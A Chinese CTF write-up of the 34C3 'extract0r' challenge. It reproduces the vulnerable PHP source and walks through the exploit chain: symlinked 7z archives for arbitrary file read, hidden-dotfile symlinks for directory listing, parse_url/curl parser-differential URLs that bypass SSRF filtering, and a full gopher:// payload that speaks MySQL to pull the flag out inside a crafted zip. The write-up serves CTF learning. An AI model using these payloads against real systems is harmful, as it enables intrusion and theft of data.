题目的源码已经放出来了,感兴趣的可以去github上看一下

1
https://github.com/eboda/34c3ctf/tree/master/extract0r

任意文件读取

index
上来页面很简单,一个可以上传压缩文件的页面。点击extract it!可以完成解压。这里很容易想到之前pwnhub也出过的一个题目,通过软链接来达到任意文件读取。但是tar格式的压缩文件却解压失败了。尝试以后会发现这个是一个7z格式的文件解压。

1
2
ln -s /etc/passwd a
7z a -t7z 1.7z a

/etc/passwd

index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
<?php
session_start();

include "url.php";

function get_directory($new=false) {
if (!isset($_SESSION["directory"]) || $new) {
$_SESSION["directory"] = "files/" . sha1(random_bytes(100));
}

$directory = $_SESSION["directory"];

if (!is_dir($directory)) {
mkdir($directory);
}

return $directory;
}

function clear_directory() {
$dir = get_directory();
$files = glob($dir . '/*');
foreach($files as $file) {
if(is_file($file) || is_link($file)) {
unlink($file);
} else if (is_dir($file)) {
rmdir($file);
}
}
}

function verify_archive($path) {
$res = shell_exec("7z l " . escapeshellarg($path) . " -slt");
$line = strtok($res, "\n");
$file_cnt = 0;
$total_size = 0;

while ($line !== false) {
preg_match("/^Size = ([0-9]+)/", $line, $m);
if ($m) {
$file_cnt++;
$total_size += (int)$m[1];
}
$line = strtok( "\n" );
}

if ($total_size === 0) {
return "Archive's size 0 not supported";
}

if ($total_size > 1024*10) {
return "Archive's total uncompressed size exceeds 10KB";
}

if ($file_cnt === 0) {
return "Archive is empty";
}

if ($file_cnt > 5) {
return "Archive contains more than 5 files";
}

return 0;
}

function verify_extracted($directory) {
$files = glob($directory . '/*');
$cntr = 0;
foreach($files as $file) {
if (!is_file($file)) {
$cntr++;
unlink($file);
@rmdir($file);
}
}
return $cntr;
}

function decompress($s) {
$directory = get_directory(true);
$archive = tempnam("/tmp", "archive_");

file_put_contents($archive, $s);
$error = verify_archive($archive);
if ($error) {
unlink($archive);
error($error);
}

shell_exec("7z e ". escapeshellarg($archive) . " -o" . escapeshellarg($directory) . " -y");
unlink($archive);

return verify_extracted($directory);
}

function error($s) {
clear_directory();
die("<h2><b>ERROR</b></h2> " . htmlspecialchars($s));
}

$msg = "";
if (isset($_GET["url"])) {
$page = get_contents($_GET["url"]);

if (strlen($page) === 0) {
error("0 bytes fetched. Looks like your file is empty.");
} else {
$deleted_dirs = decompress($page);
$msg = "<h3>Done!</h3> Your files were extracted if you provided a valid archive.";

if ($deleted_dirs > 0) {
$msg .= "<h3>WARNING:</h3> we have deleted some folders from your archive for security reasons with our <a href='cyber_filter'>cyber-enabled filtering system</a>!";
}
}
}
?>

<html>
<head><title>extract0r!</title></head>
<body>
<form>
<h1>extract0r - secure file extraction service</h1>
<p><b>Your Archive:</b></p>
<p><input type="text" size="100" name="url"></p>
<p><input type="submit" value="Extract it!"></p>
</form>

<p>Your extracted files will appear <a href="<?= htmlspecialchars(get_directory()) ?>">here</a>.</p>
<?php if (!empty($msg)) echo "<hr><p>" . $msg . "</p>"; ?>
</body>
</html>

url.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
<?php
function in_cidr($cidr, $ip) {
list($prefix, $mask) = explode("/", $cidr);

return 0 === (((ip2long($ip) ^ ip2long($prefix)) >> (32-$mask)) << (32-$mask));
}

function get_port($url_parts) {
if (array_key_exists("port", $url_parts)) {
return $url_parts["port"];
} else if (array_key_exists("scheme", $url_parts)) {
return $url_parts["scheme"] === "https" ? 443 : 80;
} else {
return 80;
}
}

function clean_parts($parts) {
// oranges are not welcome here
$blacklisted = "/[ \x08\x09\x0a\x0b\x0c\x0d\x0e:\d]/";

if (array_key_exists("scheme", $parts)) {
$parts["scheme"] = preg_replace($blacklisted, "", $parts["scheme"]);
}

if (array_key_exists("user", $parts)) {
$parts["user"] = preg_replace($blacklisted, "", $parts["user"]);
}

if (array_key_exists("pass", $parts)) {
$parts["pass"] = preg_replace($blacklisted, "", $parts["pass"]);
}

if (array_key_exists("host", $parts)) {
$parts["host"] = preg_replace($blacklisted, "", $parts["host"]);
}

return $parts;
}

function rebuild_url($parts) {
$url = "";
$url .= $parts["scheme"] . "://";
$url .= !empty($parts["user"]) ? $parts["user"] : "";
$url .= !empty($parts["pass"]) ? ":" . $parts["pass"] : "";
$url .= (!empty($parts["user"]) || !empty($parts["pass"])) ? "@" : "";
$url .= $parts["host"];
$url .= !empty($parts["port"]) ? ":" . (int) $parts["port"] : "";
$url .= !empty($parts["path"]) ? "/" . substr($parts["path"], 1) : "";
$url .= !empty($parts["query"]) ? "?" . $parts["query"] : "";
$url .= !empty($parts["fragment"]) ? "#" . $parts["fragment"] : "";

return $url;
}

function get_contents($url) {
$disallowed_cidrs = [ "127.0.0.0/8", "169.254.0.0/16", "0.0.0.0/8",
"10.0.0.0/8", "192.168.0.0/16", "14.0.0.0/8", "24.0.0.0/8",
"172.16.0.0/12", "191.255.0.0/16", "192.0.0.0/24", "192.88.99.0/24",
"255.255.255.255/32", "240.0.0.0/4", "224.0.0.0/4", "203.0.113.0/24",
"198.51.100.0/24", "198.18.0.0/15", "192.0.2.0/24", "100.64.0.0/10" ];

for ($i = 0; $i < 5; $i++) {
$url_parts = clean_parts(parse_url($url));

if (!$url_parts) {
error("Couldn't parse your url!");
}

if (!array_key_exists("scheme", $url_parts)) {
error("There was no scheme in your url!");
}

if (!array_key_exists("host", $url_parts)) {
error("There was no host in your url!");
}

$port = get_port($url_parts);
$host = $url_parts["host"];

$ip = gethostbynamel($host)[0];
if (!filter_var($ip, FILTER_VALIDATE_IP,
FILTER_FLAG_IPV4|FILTER_FLAG_NO_PRIV_RANGE|FILTER_FLAG_NO_RES_RANGE)) {
error("Couldn't resolve your host '{$host}' or
the resolved ip '{$ip}' is blacklisted!");
}

foreach ($disallowed_cidrs as $cidr) {
if (in_cidr($cidr, $ip)) {
error("That IP is in a blacklisted range ({$cidr})!");
}
}

// all good, rebuild url now
$url = rebuild_url($url_parts);


$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_MAXREDIRS, 0);
curl_setopt($curl, CURLOPT_TIMEOUT, 3);
curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 3);
curl_setopt($curl, CURLOPT_RESOLVE, array($host . ":" . $port . ":" . $ip));
curl_setopt($curl, CURLOPT_PORT, $port);

$data = curl_exec($curl);

if (curl_error($curl)) {
error(curl_error($curl));
}

$status = curl_getinfo($curl, CURLINFO_HTTP_CODE);
if ($status >= 301 and $status <= 308) {
$url = curl_getinfo($curl, CURLINFO_REDIRECT_URL);
} else {
return $data;
}

}

error("More than 5 redirects!");
}

任意列目录

两天被卡在这个点上面也是萌萌哒了。。。比赛时候一直想着绕过url.php等等的事情,或者读一些敏感文件,没去想着列目录。

url.php
1
2
3
4
5
6
7
8
9
10
11
12
function verify_extracted($directory) {
$files = glob($directory . '/*');
$cntr = 0;
foreach($files as $file) {
if (!is_file($file)) {
$cntr++;
unlink($file);
@rmdir($file);
}
}
return $cntr;
}

当时以为这个限制的很好了,就没多想。。。复现的时候一直在想怎么猜到的flag在mysql里,直到随手一试发现glob函数是有问题的。。。
glob函数
也就是说
1
$files = glob($directory . '/*');

这句话,是不会显示隐藏文件的,所以如果我们软链接生成的是一个隐藏文件,那么就不会被这个函数发现,这样就能软链接一个目录来达到任意列目录的目的。

1
2
ln -s /home/extract0r/ .a
7z a -t7z 2.7z .a

列目录
这样就能找到出题人故意留下的线索,一个备份用的sh文件。

create_a_backup_of_my_supersecret_flag.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/bin/sh
echo "[+] Creating flag user and flag table."
mysql -h 127.0.0.1 -uroot -p <<'SQL'
CREATE DATABASE IF NOT EXISTS `flag` /*!40100 DEFAULT CHARACTER SET utf8 */;
USE `flag`;

DROP TABLE IF EXISTS `flag`;
CREATE TABLE `flag` (
`flag` VARCHAR(100)
);


CREATE USER 'm4st3r_ov3rl0rd'@'localhost';
GRANT USAGE ON *.* TO 'm4st3r_ov3rl0rd'@'localhost';
GRANT SELECT ON `flag`.* TO 'm4st3r_ov3rl0rd'@'localhost';
SQL

echo -n "[+] Please input the flag:"
read flag

mysql -h 127.0.0.1 -uroot -p <<SQL
INSERT INTO flag.flag VALUES ('$flag');
SQL

echo "[+] Flag was succesfully backed up to mysql!"

SSRF

  • 看这个sh文件可以发现,flag在数据库中,同时有一个无密码的m4st3r_ov3rl0rd用户可以访问这个数据库。因为mysql是支持tcp方式建立连接的,所以如果我们能发送一个构造的tcp包,就能做到和本地的3306端口通讯。这里值得注意的一点是,mysql的登录是挑战应答认证机制,认证时server端会随机发送一个salt,因此如果m4st3r_ov3rl0rd用户是有密码的,就没法在非交互的情况下完成tcp的连接。
  • 如何发送tcp包??通过gopher协议可以直接发送一个tcp包的exp。
  • 因为index.php会将curl请求到的数据,用7z进行解压,所以我们还需要人为构造一个7z能解压的文件。
  • url.php限制了访问内网,需要绕过url.php

    绕过url.php

    不得不说,这个url.php是一个我看来很完善的防止ssrf的脚本。绕过url.php的方法在php的curl本身上。绕过的核心问题是,php的parse_url和curl对于url的解析存在不同。
  • 官方给出的绕过是这样的:
    1
    gopher://foo@[cafebabe.cf]@yolo.com:3306/

test1
parse_url认为host是yolo.com,但是curl却认为host是[cafebabe.cf]

  • rfc3986中是这样定义host的:
    1
    host        = IP-literal / IPv4address / reg-name

然后有这么一段话

1
2
A host identified by an Internet Protocol literal address, version 6 or later, is distinguished by enclosing the IP literal within square brackets ("[" and "]"). This is the only place where square bracket characters are allowed in the URI syntax.
IP-literal = "[" ( IPv6address / IPvFuture ) "]"

也就是说[cafebabe.cf]这种类型是rfc规定的一种host的形式,但是里面不应该是reg-name形式的东西。curl识别了[],因此把这个当做了host。

  • rr大佬的绕过是这样的
    1
    gopher://foo@localhost:f@ricterz.me:3306

这个我大致的猜测是curl认为foo是userinfo段,然后localhost是host段,碰到:停止获取,就获得了localhost。不过这个payload在我本地7.47的php curl中没有成功。远程应该是7.52。

  • 对于curl和parse_url如何解析url,我做了一些测试以后,大致感觉curl的解析是从左至右找的host,而parse_url则是从右至左的找的host。
  • 对于指定3306端口,因为
    1
    $blacklisted = "/[ \x08\x09\x0a\x0b\x0c\x0d\x0e:\d]/";

这个的缘故,orange师傅在blackhat上的那个slide里的一些姿势都不能用,比如
orange
因此,port只能放在最后的位置。还有这上面这个payload在php curl7.47里也不行,不知道为什么低版本反倒比高版本不容易绕过

mysql构造压缩包

  • 因为index.php会将拿到的数据用7z解压,所以我们不能只select一个flag,而是要select出一个压缩包的文件。但用mysql实现一个压缩算法什么的把找出来的flag压缩应该是不太可行的。。。我的第一反应是类似tar的打包。就是我们放的是无损的数据就不会存在这个问题。
  • tar和zip都有这样的功能,zip的-n参数可以不压缩具有特定字尾字符串的文件。
  • 这样就可以先构造一个比如100个’A’的文件,然后用zip -n的方式压缩它,效果如图:
    zip
  • 然后可以通过把select出来的flag替换到对应的位置,万幸的是crc校验不对7z也能够解压23333
  • 这样的话,flag前后,我们可以用cast把这个构造的压缩包的内容依葫芦画瓢转化成字节,然后用concat把前后加flag的内容拼起来就ok了。
    1
    echo "use flag;SELECT cast(concat(0x504B03040A00000000000E4F244C8DBC9795640000006400000001001C00325554090003CB894D5AD7894D5A75780B000104E803000004E8030000,rpad(flag,100,'A'),0x504B01021E030A00000000000E4F244C8DBC97956400000064000000010018000000000000000000A48100000000325554050003CB894D5A75780B000104E803000004E8030000504B05060000000001000100470000009F0000000000) AS BINARY) from flag;"|mysql -h127.0.0.1 -um4st3r_ov3rl0rd

构造tcp包

  • tcp包的构造,可以像官方给的exp一样,通过实现mysql的tcp通信方式来直接构造;也可以取巧一点,通过抓包的方式获得。
  • mysql的通信,可以参考这篇http://www.jb51.net/article/131681.htm
  • 抓包的话有一个比较坑的地方,搞的我之前怎么抓也没抓到。就是你本地使用mysql的时候使用Unix套接字来通信的。需要加一个 -h127.0.0.1 的参数才是通过tcp来通信。
  • 抓到包以后把发送给server的提取出来,保存它的hex值就好了。
    mysql
    先抓包再研究mysql的通信过程也是个不错的选择。

    gopher发包

    这部分很简单,把刚刚提取到的hex值变成url编码的形式,加上
    1
    gopher://foo@[cafebabe.cf]@rebirthwyw.xyz:3306/_

就大功告成了。
最后的payload是

1
gopher://foo@[cafebabe.cf]@rebirthwyw.xyz:3306/_%AD%00%00%01%85%A2%BF%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%6D%34%73%74%33%72%5F%6F%76%33%72%6C%30%72%64%00%00%6D%79%73%71%6C%5F%6E%61%74%69%76%65%5F%70%61%73%73%77%6F%72%64%00%65%03%5F%6F%73%05%4C%69%6E%75%78%0C%5F%63%6C%69%65%6E%74%5F%6E%61%6D%65%08%6C%69%62%6D%79%73%71%6C%04%5F%70%69%64%04%31%38%39%35%0F%5F%63%6C%69%65%6E%74%5F%76%65%72%73%69%6F%6E%06%35%2E%37%2E%32%30%09%5F%70%6C%61%74%66%6F%72%6D%06%78%38%36%5F%36%34%0C%70%72%6F%67%72%61%6D%5F%6E%61%6D%65%05%6D%79%73%71%6C%21%00%00%00%03%73%65%6C%65%63%74%20%40%40%76%65%72%73%69%6F%6E%5F%63%6F%6D%6D%65%6E%74%20%6C%69%6D%69%74%20%31%12%00%00%00%03%53%45%4C%45%43%54%20%44%41%54%41%42%41%53%45%28%29%05%00%00%00%02%66%6C%61%67%72%01%00%00%03%53%45%4C%45%43%54%20%63%61%73%74%28%63%6F%6E%63%61%74%28%30%78%35%30%34%42%30%33%30%34%30%41%30%30%30%30%30%30%30%30%30%30%30%45%34%46%32%34%34%43%38%44%42%43%39%37%39%35%36%34%30%30%30%30%30%30%36%34%30%30%30%30%30%30%30%31%30%30%31%43%30%30%33%32%35%35%35%34%30%39%30%30%30%33%43%42%38%39%34%44%35%41%44%37%38%39%34%44%35%41%37%35%37%38%30%42%30%30%30%31%30%34%45%38%30%33%30%30%30%30%30%34%45%38%30%33%30%30%30%30%2C%72%70%61%64%28%66%6C%61%67%2C%31%30%30%2C%27%41%27%29%2C%30%78%35%30%34%42%30%31%30%32%31%45%30%33%30%41%30%30%30%30%30%30%30%30%30%30%30%45%34%46%32%34%34%43%38%44%42%43%39%37%39%35%36%34%30%30%30%30%30%30%36%34%30%30%30%30%30%30%30%31%30%30%31%38%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%41%34%38%31%30%30%30%30%30%30%30%30%33%32%35%35%35%34%30%35%30%30%30%33%43%42%38%39%34%44%35%41%37%35%37%38%30%42%30%30%30%31%30%34%45%38%30%33%30%30%30%30%30%34%45%38%30%33%30%30%30%30%35%30%34%42%30%35%30%36%30%30%30%30%30%30%30%30%30%31%30%30%30%31%30%30%34%37%30%30%30%30%30%30%39%46%30%30%30%30%30%30%30%30%30%30%29%20%41%53%20%42%49%4E%41%52%59%29%20%66%72%6F%6D%20%66%6C%61%67%01%00%00%00%01

最后的一点是,你抓包的话不难发现mysql除了返回给你值,在前面还会有一些信息,但是7z牛逼啊,不管前面的内容也能给你解压出来23333

大功告成

flag